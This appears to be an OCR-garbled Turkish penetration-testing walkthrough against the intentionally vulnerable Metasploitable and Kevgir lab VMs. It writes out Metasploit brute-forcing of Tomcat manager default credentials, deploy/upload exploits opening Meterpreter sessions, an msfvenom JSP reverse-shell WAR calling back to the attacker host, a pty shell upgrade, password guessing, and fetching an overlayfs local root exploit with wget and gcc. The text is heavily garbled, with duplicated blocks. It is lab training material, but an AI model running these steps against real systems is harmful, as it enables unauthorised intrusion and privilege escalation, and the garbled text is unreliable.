T ARGET URT Jmanager/html yes URI for Manager login. Default is /manager/html
THREADS 30 yes The number ot concurrent threads
no A specific username to authenticate as
| Jusr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, o
ne pair per line
ISER_AS_PASS false no Try the username as the password for all users
L FILE Jusr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes wWhether to prlnt output for all attempts
VHOST no HTTP server virtual host
msf auxiliary(t 1t_mgr_login) > set RHOSTS 192.168.237.120
BHOSTS == 192.168.237.129
msf auxiliary(t jin] = set RPORT 8180
RPORT == 8180

msf auxiliary(tomcat_mgr_login) > run



oruldugu uzere bu auxiliary tomcat_mgr_login ile Username ve Passwordu tomcat : tomcat olarak bulduk.
[ root 14:39, 2016—0?—26“

run s

1)

TOMCAT_MGR - LOGIN FAILED: admin:admin (Incorrect: )

_MGR - LOGIN FAILED: admin:manager (Incorrect: )

- LOGIM FAILED: admin:rolel (Incorrect: )

- LOGIN FAILED: admin:root (Incorrect: )

- LOGIN FAILED: admin:tomcat (Incorrect:

- LOGIM FAILED: admin:s3cret (Incorrect:

- LOGIN FAILED: manager.admln (Incorrect:

- LOGIN FAILED: manager:manager (Incorrec

i - LOGIN FAILED: manager:rolel (Incorrect:
_MGR - LOGIN FAILED: manager:root (Incorrect: )

MuR - LOGIN FAILE manager:tomcat (Incorrect: )

- LOGIMN FAILED: manager:s3cret (Incorrect: )

- LOGIM FAILED: rolel:admin (Incerrect: )

- LOGIMN FAILED: rolel:manager (Incorrect: )

- LOGIN FAILED: rolel:rolel (Incorrect: )

- LOGIN FAILED: rolel:root (Incorrect: )

- LOGIN FAILED: rolel:tomcat (Incorrect: )

- LOGIN FAILED: rolel:s3cret (Incorrect: )

- LOGIN FAILED: root:admin (Incorrect: )

- LOGIMN FAILED: reot:manager (Incorrect: )

=] - LOGIN FAILED: root:rolel (Incorrect: )

_MGR - LOGIM FAILED: root:root (Incorrect: )

_MSR - LOGIM FAILED: root:tomcat (Incorrect: )

_MGR - LOGIM FAILED: root:s3cret (Incorrect: )

_MSR - LOGIMN FATILED: tomcat:admin (Incorrect: )

_MGR - LOGIMN FAILED: tomcat:manager (Incorrect: )

- LOGIM FAILED: tomcat:rolel (Incorrect: )

- LOGIN FAILED: tomcat:root (Incorrect: )
SUCCESSFUL: tomcat:tomcat

_MSR - LOGIM FAILED: both:admin (Incorrect: )

_MGR - LOGIM FAILED: both:manager (Incorrect: )

- LOGIN FAILED: both:rolel (Incorrect: )

i - LOSIN FAILED: both:root (Incorrect: )

_MGR - LOGIN FAILED: both:tomcat (Incorrect: )

_MGR - LOGIN FAILED: both:s3cret (Incorrect: )

- LOGIN FAILED: jZ2deployer:jZdeployer (Incorrect: )

- LOGIN FAILED: owwebusr:Oww*busrl (Incorrect: )

- LOGIM FAILED: cxsdk:kdsxec (Incorrect: )

- LOGIN FAILED: root:owaspbwa (Incorrect: )

- LOGIN FAILED: ADMIM:ADMIM (Incorrect: )

192, e i - LOGIN FAILED: xampp:xampp (Incorrect: )

192,168, 23 E _MGR - LOGIN FAILED: QCC:QLogict6 (Incorrect: )

[*] Scanned 1 of 1 hosts (106 complete)

[*] Auxiliary mﬂdule executlon completed

ms f auxlllar,( ¥ t_s . jin) =

HFEHEHERHEERHERRERR
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Resimdeki gibi tomcat_mgr_deploy exploitimizi seciyoruz gerekli degerleri atayarak exploiti ¢calistiriyoruz.
[ roct 14:48, 2016—0?—26“

> use explolt/multishtt omcat _mgr_deploy
msf expl-:lt' i) show options

Module options (exploit/multishttp/tomcat_mgr_deploy):
Mame Current Setting Regquired Description

The password for the specified usernames

manager The URI path of the manager app (/deploy and sundeploy will be used)
A proxy chain of 'F-_-r‘mat type:host:portl, type: Fost:portll...]
yes The target addres
=lo] yes The target port
USERNAME no The username to authenticate as
WHOST no HTTP server virtual host
Exploit target:
Id MName
o] Automatic
sf exploit(tc : oy) = set PASSWORD tomeat
WORD == tomcat
mst exploit( )} = set PATH /manager /html
PATH == /manager /html A
exploit{tomcat _de ) = set RHOST
OST => 192.168.237.129
f exploit( ) = set USERMAME tomcat
SERMAME == tomcat
exploit(te X, oy) = show targets
Exploit targets:
Id Name
e} Automatic
1 Java Universal
2 windows Universal
3 Linux x86

ms T f-xp1.01tL mcat_i Loy) = set TARGET 3
ARGET => i
exp'Lnltt ) = exploit B




Resimdeki gibi tomcat_mgr_deploy exploitimizi seciyoruz gerekli degerleri atayarak exploiti ¢calistiriyoruz.
[ roct 14:48, 2016—0?—26“

> use explolt/multishtt omcat _mgr_deploy
msf expl-:lt' i) show options

Module options (exploit/multishttp/tomcat_mgr_deploy):
Mame Current Setting Regquired Description

The password for the specified usernames

manager The URI path of the manager app (/deploy and sundeploy will be used)
A proxy chain of 'F-_-r‘mat type:host:portl, type: Fost:portll...]
yes The target addres
=lo] yes The target port
USERNAME no The username to authenticate as
WHOST no HTTP server virtual host
Exploit target:
Id MName
o] Automatic
sf exploit(tc : oy) = set PASSWORD tomeat
WORD == tomcat
mst exploit( )} = set PATH /manager /html
PATH == /manager /html A
exploit{tomcat _de ) = set RHOST
OST => 192.168.237.129
f exploit( ) = set USERMAME tomcat
SERMAME == tomcat
exploit(te X, oy) = show targets
Exploit targets:
Id Name
e} Automatic
1 Java Universal
2 windows Universal
3 Linux x86

ms T f-xp1.01tL mcat_i Loy) = set TARGET 3
ARGET => i
exp'Lnltt ) = exploit B




RPORT degiskenini default biraktigimiz icin ¢calismadi Nmapdaki portu yani 8180 i girip yeniden c¢alistirdik.Ve

meterpreter ile sisteme sizdik.Bundan sonra meterpreter komutlari ile sistem hakkinda bilgi alinabilir.
[ root 14:50, 2015-0?-26“

\ = m ﬁ a a ] systemctl start postgres...

Id MName

o Automatic

r—-xp'Lr_ut( o i ploy) = set PASSWORD tomcat
== tomcat
m: p101t' ) = set PATH /manager /html
PATH == /manager /html
maf explnt" : epl ) = set RHOST 192.168.237.129
> 192.168.237.129
it (to 1 )} = set USERMAME tomcat
SERMAME == tomcat

mst exploit(tos eploy) = show targets

Exploit targets:

Id Name

o] Automatic

1 Java Universal

2 windows Universal

Linux x86
ex plolt 1 1
WGET ==
explol t (tor Loy)

ms
=
mst

= set TARGET 3

> exploit

Exploit aborted n:lue to failure: not-found: The target serwer fingerprint "apachesz.2.8 (Ubuntul) D&
pache.*(Coyote|Tomcat) )" Fingerprintcheck false' to disable this check.
[*] Expleit comp'L ted, but no ion was created
mst explc ) set RPORT S180
RPORT == 8180
msf exploit(tos t_1 Loy) =

exploit

[*] Started reverse TCP handler on 192.168.
Using manually select target "Linux xB86
[*] Uploading 1829 bytes as 1Mmi.war .
Executing /1Nmi/OoK4FGEal27btkz TEAMIGRAPY XaXK . isp.
Undeploying 1hmi

Transmitting intermediate stager for
Sending stage (1495599 bytes] to 3
Meterpreter session 1 pc-nc-d (192.168.237. H = 192.168.237.129:38792) at 2016-07-26 14:49:27 -0400
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Meterpreter komutlari ile bir kag bilgi edindik sistem hakkinda.

\ = @ ﬁ n a ] systemctl start postgres... [ Tl s 2016-0?-26“

[*] Executing IGRAPY XoXK. ]Sp. .
[*] uUndeploying 1Nmi )

[*] Transmitting intermediate stager for o
[*] ( 7.
[*1]

Sending stage (1495599 bytes) to 192.1
Meterpreter session 1 opened

)] at 2016-07-26 14: - 0400

meterpreter = sysinfo

mputer metasploitable

Linux metasploitable 2.6.24-16-server #1
626

o
wrchitecture

Apr 10 13:

Meterpreter x86/Linux
meterpreter getuld

server username: uld=110, gid=65534, euid=110, egid=65534, suid=110, sgid=65534
meterpreter = getpid
Current pid: 5453
meterpreter = shell
Process 5471 created.
hannel 1 created.
sh: no job control in this shell
24
sh-2.2% uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1
sh-3.2% whoami
tomcatss
E= 2% ps
TTY TIME CMD
OE:BO:16 jsvc
00:00:00 rThdYieCsIzKrEBn
00:00:00 sh
00:00:00

GRL/ L1 nux

k=)

pa aux
command not found
ps aux

PID %CPU %MEM
.0 0.3

TN

TIME COMMAMD

101 Ssbhinfinit
100 [kthreadd]
oo [migrat
:00 [ksoftirqgd
[watchdeog/0]
[events/O]
[khelper]
[kblockd/o]
[kseriod]
[pdflush]
[pdflush]
[kswapda]
[aios@]

[ofoNoNoRoloRoRoRoNoNoNol

0]

D~ WK

root
root

i
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S1zma Testi Ornekleri (Kevgir)

https://canyoupwn.me/kevgir-vulnerable-vm/ adresinden Kevgiri
indirebilirsiniz.

Nmap ile kesif taramasina basliyoruz.Calisan servisleri ve versiyonlari tespit
ettikten sonra bu servisleri ve versiyonlari detaylica arastirarak bir zaafiyet
varmi exploit db de yada bagka site ve bloglarda bir sey varsa o hedef
uzerinden sizmaya c¢alisilir.Bu makinede birden fazla acgiklik bulunmakta fakat
ben Tomcat Uzerinden gidecegim.


https://canyoupwn.me/kevgir-vulnerable-vm/
https://canyoupwn.me/kevgir-vulnerable-vm/
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Metasploiti agarak tomcat ile ilgili auxiliary ve exploitleri ariyoruz.
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Ik olarak tomcat_mgr_login auxiliary ile tomcat servisinin default sifrelerini
deniyoruz. Amac:|m|z brute force yontemi ile kuIIan|C| adi ve §|fresm| tespit

systarrfdl:lart‘pwslgmiql rrésfdb nthi!' m‘sft.oneola




amsf auxiliary(
RHOSTS == 192.188.
msf auxiliary(tomcat mgr_legin) = run
Burp | y y
| 192.168.237.137:8080 TOMCAT_MGR - LOGIM FAILED: admin:admin (Incorrect: ) .
192.168. 237 . 1378080 TOMCAT_MGR - LOGIN FAILED: adm]}n:manager (Incorrect: ) : kali Uptime: 8h 19m 44s
192.168. E LOGIMN FAILED: admin:rolel (Incorrect: )
192.168. 2 LOGIN FAILED: admin:root (Incorrect: ]
192. LOGIN FAILED: admin:tomcat (Incorrect: ) 2301 Load: 6.82, 06.10, 0.12
192. LOGIN FAILED: admin:s3cret (Incorrect: ) E b e Sl e B
192, LOGIN FAILED: manager:admin (Incorrect: ) | I | |
192. LOGIN FAILED: manager:manager (Incorrect: )
192. LOGIMN FAILED: manager:rolel (Incorrect: )
192. LOGIM FAILED: manager:root (Incorrect: )
192. LOGIN FAILED: manager:tomcat (Incorrect: ) r =
192. LOGIN FAILED: manager:s3cret (Incorrect: ) P S FEEN
192. LOGIN FAILED: rolel:admin (Incorrect: ) Y e O e
192. LOGIN FAILED: rolel:manager (Incorrect: ) STed 1345 8.51 1.64
__ 192. | - LOGIM FAILED: rolel:rolel (Incorrect: ) 849 8.51 3.08
-Z 1 192. TOMCAT_MGR - LOGIN FAILED: rolel:root (Incorrect: ) gres 3679 8.00 6.83
[-1 192, .137:8080 TOMCAT_MGR - LOGIM FAILED: rolel:tomcat (Incorrect: )
h }_: 1 192, C - LOGIN FAILED: rolel:s3cret (Incorrect: ) £ o :
ol 192. - LOGIN FAILED: root:admin (Incorrect: ) Sl :
192. - LOGIN FAILED: root:manager (Incorrect: )
J 192. - LOGIN FAILED: root:rolel (Incorrect: ) YSTE
‘ L-] 192. - LOGIMN FAILED: root:root (Incorrect: | 38% free 10.9GiB/ 28.2GiB
o L 192, - LOGIN FAILED: root:tomcat (Incorrect: )
[-1 192. A - LOGIM FAILED: root:s3cret (Incorrect: ) )
FS7[-1 192. .137:8080 TOMCAT_MGR - LOGIN FAILED: tomcat:admin (Incerrect: ) ;?ZB kB.a's l.lp'- g5 KB.-‘s-
[-1 19=. TOMCAT MGR - LOGIN FAILED: tomcat:manager (Incorrect: ) = 3 : = . ;
192. o LOGIN FAILED: tomcat:role? {Incorrect: ) EEades - Reb AN, Opioadey: 4.DMIR
[-]1 15=2. LOGIMN FAILED: tomcat:root (Incorrect: ) I | | |
[+] 19z. SSFUL: tomcat:tomcat
[-]1 15=. LOGIM FAILED: both:admin (Incorrect: ) ! :
192. LOGIN FAILED: both:manager (Incorrect: ) SROE B, =, AMpc OB IB./=
192. LOGIN FAILED: both:rolel (Incorrect: ) poage - {08 Unloaded: oA
192. CAT_MGR - LOGIN FAILED: both:root (Incorrect: ) | | |
192, .137:8080 TOMCAT_MGR - LOGIM FAILED: both:tomcat (Incorrect: )
192, 2 3 LOGIMN FAILED: both:s3cret (Incorrect: )
192. LOGIN FAILED: j2deployer:j2deployer (Incorrect: ) €T
192. LOGIN FAILED: owwebusr:Ovw*busrl (Incorrect: ) SIS S uLhound s o5 fotel: 8
192, LOGIMN FAILED: cxsdk:kdsxe (Incorrect: ) ::g“t Local Ser:;ﬁe‘:::rt
182. LOGIN FAILED: root:owaspbwa (Incor‘rec‘t‘: ) alhost gost:res:l
192, LOGIN FATILED: ADMIM:ADMIN (Incorrect: ) alhost postgresql
-1 182. .137:8080 TOMCAT_MGR - LOGIN FAILED: xampp:xampp (Incorrect: ) ound Remote Service/Port
[-]1 192.1628.237.137:2020 TOMCAT _MGR - LOGIMN FAILED: OCC:OLOgiCBB (Incorrect: ) alhost postgresql
[*] Scanned 1 of 1 hosts (100% complete) L ostk postgresql
alhost postgresqgl




-1 192. 7.1 TOMCAT_MGR - LOGIM FAILED: tomcat:root (Incorrec )
[+] 192 S - LOGIN SUCCESSFUL: tomcat:tomcat
[-1 192. 237 .1 TOMCAT_MGR - LOGIM FAILED: both:admin (Incorrect: )
192. 237.1 TOMCAT_MGR - LOGIN FAILED: both:manager (Incorrect: )
192, 237.137 TOMCAT_MGR - LOGIM FAILED: both:rolel (Incorrect: )
192. PEF AT _MGR - LOGIM FAILED: both:root (Incorrect: )
192. 237.137 _MGR - LOGIM FAILED: both:tomcat (Incorrect: )
192. 237 .137 TOMLﬂT MGR - LOGIN FAILED: both:s3cret (Incorrect: )
[-1 192. 3. 237 . 137 TOMCAT_MGR - LOGIM FAILED: j2deployer:j2deployer (Incorrect: )
[-1 192, 37. 137 TOMCAT_MGR - LOGIM FAILED: owwebusr: ‘busrl (Incorrect: )
-1 192. 37. 133 TOMLBT MGR - LOGIM FAILED: cxsdk:kdsxc (Incerrect: )
[-1 192. 37.137: LOGIN FAILED: root:owaspbwa (Incorrect: )
-1 192. 37 . 137 LOGIMN FAILED: ADMIMN:ADMIMN (Incorrect: )
-1 192, 71 3E LOGIN FAILED: xampp:xampp (Incorrect: )
[ 192, .237.137:8080 | LOGIM FAILED: QCC:QLogics6 (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*]1 Auxiliary modulﬁ execution completed
st auxiliary(tom [ ir J = use exploit/multishttp/tomcat_mgr_upload
st exploit(t z-'-_a}'_.ﬁ- d) show options

lodule options (exploit/multi/http/tomcat_mgr_upload):

Name Current Setting Required Description

PASSWORD no The password for the specified username

Proxies no A proxy chain of format type:host:portl[,type:host:port]l[...]

BHOST yes The target address

FPORT 80 yes The target port

TARGETURI  /manager yes The URI path of the manager app (/html/upload and fundeploy will be used)

no The username to authenticate as
no HTTP serwver wvirtual host
xploit target:
Id MName
o Java Universal
st exploit(tome ng iload) = set PASSWORD tomcat
FASSWORD == tomcat
isT exploit(tomcat r_upload) = set RHOST 192.168.237.137
OST == 192.168.237.137
sf exploit({tomcat_mgr_uf ) = set RPORT 8080

RPORT == S0E0
isf exploit(tomcat r_upload] = i




ia Name

@ Java Universal

f exploit( 1 Jr_Lt ) = set PASSWORD tomcat
iORD == tomcat
isf exploit( cat_ 1 id) = set RHOST 192.168

set RPORT B030
set USERMAME tomcat

] = exploit

- Uploading and deploying 1MXPugRKGEGOK3hCOIkhESPSR201Aq. . .
. - Executing 1MXPugRKGEOK3hCOIkhESPS8RZ0lAqg. . .
192.168.237.137:8080 - Undeploying 1MXPUgRKGEOKZhCOIkhESPSRZ01Ag
Sending stage (45741 bytes) to 192.168.237.137
Meterpreter session 1 opened (192.168.237.128:4444 -= 192.168.237.137:51534) at 2016-10-25 18:57:54 -0400

Unknown command: sy.
= sysinfo
canyoupwnme
Linux 3.19.0-25-generic (i386)
java/java
= getuid

Process 1 created.
Channel 1 created.

ar/lib/tomcat?
thoami
omcat?




S1zma Testi Ornekleri (Kevgir)

Kullanici adi ve sifresini tespit ettikten sonra tomcat_mgr_upload exploitini
kullanarak sisteme sizmaya calisiyoruz.Tabi 192.168.237.137:8080/manager
adresi ile tarayicidan tomcat a giris yaparak shellde atabilirsiniz.Farkl yollar ve

yontemler mevcut.

Web adresi Uzerinden buldugumu kullanici adi ve sifre ile login olarak msfvenom
ile backdoor olusturup bu backdoor yardimi ile shell almay1 gosterecegim.



S1zma Testi Ornekleri (Kevgir)

msfvenom -p javaljsp_shell_reverse_tcp LHOST=192.168.237.128 LPORT=4444
-f war > [root/Desktop/shell.war

ile shell.war adinda jsp backdoor u olusturuyoruz. jar -xvf shell.war komutu ile
shell.war igindekileri digari ¢cikarip dosyalari gorebilmekteyiz.

Yukledikten sonra agcacagimiz jsp dosyasinin adi onemili.



\ * Lal ? a E [ root@ksali: ~/Desktop

Burp_Suit...

laudanum...

- n
- -

phpshell-2.4 phishing.doc

h
D

r57.php slowloris.pl
shellwar  heoxafoxvk...

WEB-INF

sslstrip-0.9
|[root:
|

blogvl

Kewvgir WM

-

mario.apk

shell.war
WEE- INF/
WEB- INF/web . xml
hoxafoxvkhn. jsp

T

e_tcp LHOST=1S52.

df) [ root 18:30, 2016-12-18

Host: kali Uptime: 8h 5m 7s

MHz: 23081 Load: 6.21, 8.27, 8.14
Tasks: 2 f137 CPUB: 32% CPUl: 32%

NAME

Xorg
apt-show-versio
apt-show-versio
run-parts

sh

RAM 16% NN
Swap 0%

root 38% free 10.7GiB/ 28.

Down: 6B KB/s Up: OB
Downloaded: 12.8KiE Uploaded: 14.

Down: 6B KBfs Up: 0B
Downloaded: @B Uploaded: BB

Inbound: 8 Outbound: 8 Total: 6
Inbound Local Service/Port

Outbound Remote Service/Port




S1zma Testi Ornekleri (Kevgir)

192.168.237.137:8080/manager/ adresini tarayicidan girerek tomcat in web
arayuzune girebiliriz.giriste kullanici adi ve sifresi sorulacak biraz 6nce yukarida
elde ettlglmlz tomcat tomcar kuIIan|C| adi ve sifresi ile er|§eblleceg|z

Efit .GE LEt ju: Ej

Ett juK: inll, i .DD. KB EN, Ewnj

E#GREE LuD. ER: UK. .GuD. Ett  EmiiD.

E##D . CKHUELE;  E#t  i#D JHK; E#t  E# jGBY;

E##iUi iSHULLLLt  Ent juf LJKBE ,GD;  E#t E#t teuf

E# jLED: .E4L E#tLE JHWi  E#t E#t ENt cKHE:

E#t R j fHE: T .GND: Ent ENt E#KDDDD#N® i

Ext D LU ENK: JKEFRNL Ent  ENf,tuui,,

jnt .D#:  ED. et Ent Ent  cuM:
£ tt ot .Gt E#t DMi L, KK:

by canyoupun.me

Thanks to [12tsparker

Waiting for 182,168,237 .137...



S1zma Testi Ornekleri (Kevgir)

Giris yaptikdan sonra tomcatin icinden war dosyamizi upload adarak
bacdoorumuzu sisteme yukluyoruz.

16-12-189

/manager - Iceweasel

S imanager

CED e

Start Stop Reload Undeploy
[manager Mone specified Tomcat Manager Application true 1
with idle = _ minutes
{shell MNone specified true o
with idle = m minutes
fwebgoat MNone specified false o Reload m
Start
fyHK79Z1AqUDFRxuckries8zwCD MNone specified true o
with idle = m minutes

Deploy directory or WAR file located on server

waAR file to deploy

Select WAR file to upload shell.war

This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.




S1zma Testi Ornekleri (Kevgir)

Dosyamizi yukledikden sonra metasploite girerek backdoorumuzu
calistirmadan once gerekli nodulumuze baglanacagimiz bacdoor payloadimizi
ve bilgilerimizi giriyoruz.

Bu noktadan sonra tek yapmamiz gereken
192.168.237.137:8080/shell/hoxafoxvkhn.jsp adresimizi tarayicadan girerek
backdoorumuzu calistirip metasploit ile shell agmak.



m ? n a #® [Iceweasel] [ systemctl start postgres... ) [J root 18:40, 2016-12-19 m =

Burp_Suit...

kali Uptime: 6h 15m 9s

- i 2301 Load: 6.18, 0.15, 8.13
; /142 CPUB: 2% CPUl: 2%

pycharm-... scapy-2.3.2

Date: April 25, 1848

Weather: It's always cool in the lab 2%%:%%%%%%%%%%%%%%
; ; Health: Overwelght
-_ -_ . = ; Caffeine: 12975 mg "

- Hacked: all the things ==

laudanum... sslstrip-0.9 /bin/termin 1428

Press SPACE BAR to continue rker/0:4 %;;

| sched

[

| 7
-_ E;;c -_ . ;nar 3020

tials? Check out bruteforcing )
learn mo on http://rapid7.com/metasploit

46%
0% I

E w411, 04C ]
05 . ’ 1 5 7 i .. 3 : t % :t 38% free 10.7GiB/ 28.
5 = ] |

r-7.co/trymsp

phpshell-2.4  phishing.doc blogvl

r57.php slowlaris.pl Kewgir WM
(:]:] KE/fs Up: 6B
loaded: 981KiE Uploaded: 67.

t PAYLOAD java/jsp_shell_

‘ - ‘ : 3 . reverse_tcp . . | |

et LHOST 1S52. 3
shell.war hoxafoxvk...  mario.apk . KB/s Up: 8B
:1: Uploaded: BB

—— | E averse TCP handle 192.1 | |
- he paylo
3 Outbound: 3 Total: 6

WEB-IME ~ — 5 T e— . 11 ' H T
%- Inbound Local Service/Port

localhost postgresql
localhost postgresql
localhost postgresql
QOutbound Remote Service/Port
localhost postgresql
localhost pestgresql
localhost postgresql




S - P OB - ceweasel] ) systemctl start postgres... wi) [ root 18:42, 2016-12-19 m

— - .
- L
Burp_Suit...

| + T kali Uptime: &h 16m 33s
entials?
learn s ap1d7.com/metasplolt
2381 Load: 6.15, 6.15, 8.14
2 f142 CPUB: 2% CPUl: 2%

pycharm-...

rs

trial

laudanum...

[N

- -

phpshell-2.4 phishing.doc blogwl

0% L

SESS10 op = L 3 Fi13F ) at 2016-12-19 18 |
. FAD: o | 2 -
|r40:56 [t 38% free 16.7GiB/ 28.

rs7.php slowloris.pl Kewgir W
Inz o8B KBfs Up: OB
!nlaaded: 902KiB Uploaded: 68.

® . ® | | |

shell.war hoxafosvk. .. mario.apk - i nz @B KB/s Up: 6B
(nLoaded: @B Uploaded: OB

= 3 BTy T+ T Y o ol y.spawn(" /bin/
- i mport pt pt pawn |

WEB-IMNF - e —  sdound: 4 Outbound: 3 Total: 7
1%"_ Inbound Local Service/Port

Localhost postgresql

localhost postgresql
lecalhost postgresql
Qutbound Remote Service/Poert
localhost postgresqgl
localhost postgresql
localhost postgresqgl




S1zma Testi Ornekleri (Kevgir)

Yukarida gorduguntz gibi shell acildi.Bu senaryoda hem metasploit modulu ile
hemde kendi backdoorumuzu web arayuzunden yukleyerek iki farkli yoldan shell
aldik.

Bu asamadan sonra Privileges Escalation ve Post Exploitation asamalari
gerceklestirmemiz gerekmektedir.Simdi donelim meterpreter komut satirindan sonra
yapacaklarimiza. Meterpreter komut satirinda shell yazarak linux komut satirina
ddsuyoruz.

Fakat buradaki komut satiri etkilisimli degil.Bu demek oluyor ki girdi bekleyen linux
komutlarini ¢calistiramiyoruz.

Mesala kullanici degistirirken sudo su komutunu girdikten sonra sifre girdisi istiyor bu
shell buna imkan vermiyor.



[*] 192.168.237.137:8080 - Retri ng session ID and CSRF token ~
[*] 192.168.237.137:8080 - Uploading and deploying 1MXPugRKGEOK3hCOIkhESPBR201Ag. . .

[*] 192.168.237.137:8080 - Executing lMXPugRKGEOKZhCOIkhESPER2014g. . .

*] 192.168.237.137:8080 - Undeploying 1MXPugRKGEOK3hCOIkhESPBRZO1Ag ...

[*] Sending stage (45741 bytes) to 192.168.

[*] Meterpreter session 1 opened (192.168.237 4444 -= 192.168.237.137:51534) at 2016-10-25 18:57:54 -0400

meterpreter

[-] Unknown command: sy.
meterpreter = sysinfo
Computer I canyoupwnme
0s : Linux 2.19.0-25-generic (i386)
Meterpreter : java/java
meterpreter = getuid
Server username: tomcat?
meterpreter = shell
Process 1 created.
Channel 1 created.

ls

common

conf

logs

server

shared

webapps

wor

var/lib/tomcat?

whoami

tomcat?

python -c¢ 'import pty; pty.spawn("/bin/sh")!'
%

%

% 1s

ls

commen  conf Logs server shared webapps work
% pwd

pwd
var/lib/tomcat?
% cd shome

cd shome

4 1s

1=

admin user

%




S1zma Testi Ornekleri (Kevgir)

python -c ‘import pty; pty.spawn(“/bin/sh”)’ yazarak shellimizi etkilesimli shelle
geviriyoruz.

Resimdede gordiginiiz gibi artik $ isareti geldi.home dizinine giderek orada user ve
admin olarak iki kullanici oldugunu gorduk.

Simdi buradaki admin kullanicisi aklinizi karistirmasin.Ali,Ahmet gibi bir kullanici
yetkili bir kullanici degil linuxta en yetkili kullanici root tur.

Bu sistemdede hedefimiz root olmak.

Simdi burdaki admin kullanicisina gecmeye calisacagiz.

Ayni tomcatde default sifreler denendigi gibi admin kullanicisinin sifreside en ¢ok
kullanilan bir kag¢ sifre denedim.123456,password,admin gibi bunlardan admin admin
kullanicisinin gifresi ise ve admine gectik.



Unknown command: sy.
meterpreter = sysinfo
(Computer I canyoupwnme
oS : Linux 3.19.0-25-generic
Meterpreter : java/java
meterpreter :
erver username: tomcat?
meterpreter = shell
Process 1 created.

Charnnel 1 created.

var/lib/tomcat?
whoami
‘tomcat?
python -c 'import pty; pty.spawn("/bin/sh")'

conf logs server shared webapps

Lib/tomcat?
cd /home
Shome

VLT
$ su admin
su admin
Password: admin

admin@canyoupwnme: /home$ uname -a

uname -a

Linux canyoupwnme 3.19.0-25-generic #26-~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 1686 1686 1686 GNU/L1nux
admin@canyoupwnme: /homes B




S1zma Testi Ornekleri (Kevgir)

Simdi uname -a komutu ile sistemin gekirdek bilgisini 6grendik.14.04.1
Ubuntu calismakta.

Suan admin kullanicisindayiz yapacagimiz islemler kisith bunun igin root
kullanicisina gegcmemiz gerekmekte.

Bunun igcinde Local Root Exploitler bulunmakta sansimiza var ise bu exploit
taranu calistirirak bulundugunuz kullanicidan root kullanicisina gegcmemizi
saglamakta.



S1zma Testi Ornekleri (Kevgir

ubuntu 14.04'local root exploit - Google'da Ara - Iceweasel

4.04 local ro..

GO g'e ubuntu 14.04 local root exploit E n HH m

Tuimui Videolar Haherler Girseller Ahgverig Dahafazla - Arama araglan Q

Yaklagik 27.200 sonug bulundu (0,43 saniye)

Ubuntu 14.04 LTS, 15.10 overlayfs - Local Root ... - Exploit Database
https /fwww.exploit-db.com/exploits/39166/ =~ Bu sayfanin gevirisini yap

5 Oca 2016 - Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Privilege Escalafion (1).
CVE-2015-8660. Local exploit for Linux platform.

Linux Kernel 3.13.0 = 3.19 (Ubuntu 12.04/14.04 ... - Exploit Database
https iwww.exploit-db.com/exploits/37292/ ~ Bu sayfanin gevirisini yap

16 Haz 2015 - Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit
Author: rebel #Version: Ubuntu 12.04, 14.04, 14,10, 15.04 .

Linux Kernel 3.13.0 = 3.19 (Ubuntu 12.04/14.04 ... - Exploit Database

https /fwww.exploit-db com/exploits/37293/ = Bu sayfanin gevirisini yap

16 Haz 2015 - Linux Kernel 3.13.0 = 3.19 Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Privilege
Escalation (Access fetc/shadow). CVE-2015-1328. Local ...

Apport (Ubuntu 14.04/14.10/15.04) - Race ... - Exploit Database

https /fwww.exploit-db.com/exploits/37088/ = Bu sayfamin gevirisini yap

23 May 2015 - Exploit Title: apporfubuntu local root race condition # Date: 2015-05-11 # Exploit
Author: rebel #Version: ubunmi 14.04, 1410, 15.04 # Tested ...

kernel exploits

https /fwww. kernel-exploits.com/ ~ Bu sayfanin gevirisini yap

Local root exploits. Search for exploit! ... Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic
#46-Ubuntux86_32; Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic ...

https iffwww.exploit-db.comjexploits/39 166/ , 15.10 overlayfs - Local Root Exploit - YouTube



S1zma Testi Ornekleri (Kevgir)

Linux Kernel 4 4.04/15.10) - ‘overlayfs' Pri e Escalation (1) -lcewe

E!IPTl.q.lIs*E Home Exploits Shellcode Papers Google Hacking Database Submit Search

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Privilege
Escalation (1)

EDB-1D:

CVE

Published: 201 Type: loca Platform: Linux
E-DB Verified: o Exploit: § Download // [MView Raw  Vulnerable App: N/A
ous Exploit Next Explodt »

o
just another overlayfs exploit, works on kernels before 2015-12-26

# Exploit Title: overlayfs local root
# Date: 2016.081.-05

# Exploit Author: rebel

# Yersion: Ubuntu 1484 LTS, 15.10 and mare
# Tested on: Ubuntu 14,04 LTS, 15,10

# CYE . CWE-2015-8660

11} blahgubuntu: ~§ id
1. uid=1001(klah) gid=l001(klah) groups=1881(k1ah)
blahgubuntu: ~% uname -3 £& cat /etc/issue
Linux ubuntu 3.19.0-42-generic #48~14. 04, 1-Ubuntu SHP Fri Dec 18 10:24:49 UTC 2015 x86_G64 xB6_64 x86_564 GNULinux
Ubuntu 14.84.3 LTS \n \%
blahgubuntu: ~% ./ over'LayFaL'L
rootaubuntu: - 1
uid=81root) g].d:lBBl'b'lah' groups=01root), 1681(kLah)

1272015
by rebel

6354bde23db225b565dTaF226f 2edSecifele1ah
w

#include =stdio.h=
#include «sched. h=
#include -stdlib. h=
#include -unistd. h



S1zma Testi Ornekleri (Kevgir)

Buldugumuz exploiti kopyalayarak shell aldigimiz terminalde bir .c dosyasi agarak
icine yapistiriyoruz.

Yada baga bir sekilde bu exploit dosyasini shell aldigimiz makinaya yukluyoruz.
Tercihen baglanti adresinden wget ile indirmenizi dneririm.

( wget https://lwww.exploit-db.com/download/39166 )

Dosya bulundugunuz dizine 39166 adiyla kaydedilir. mv 39166 localexploit.c komutu
ile dosyanin adini ve uzantisini degistirebilirsiniz.

Dosyamizi kaydetip ¢iktiktan sonra gcc localexploit.c komutu ile ¢ kodumuzu
